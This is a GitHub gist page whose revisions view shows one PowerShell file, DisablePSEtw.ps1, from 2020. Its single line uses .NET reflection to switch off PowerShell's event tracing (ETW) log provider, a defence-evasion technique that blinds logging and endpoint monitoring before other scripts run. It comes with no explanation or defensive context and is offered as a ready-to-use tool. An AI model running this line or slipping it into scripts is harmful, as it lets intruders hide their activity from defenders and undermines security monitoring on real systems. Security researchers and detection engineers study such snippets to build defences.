Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t

S3cur3Th1sSh1t/DisablePSEtw.ps1

Created August 11, 2020 07:53
Show Gist options
  • Save S3cur3Th1sSh1t/ff02db442f04cfe3c233f9300781a29b to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/ff02db442f04cfe3c233f9300781a29b to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. S3cur3Th1sSh1t created this gist Aug 11, 2020.
    1 change: 1 addition & 0 deletions DisablePSEtw.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)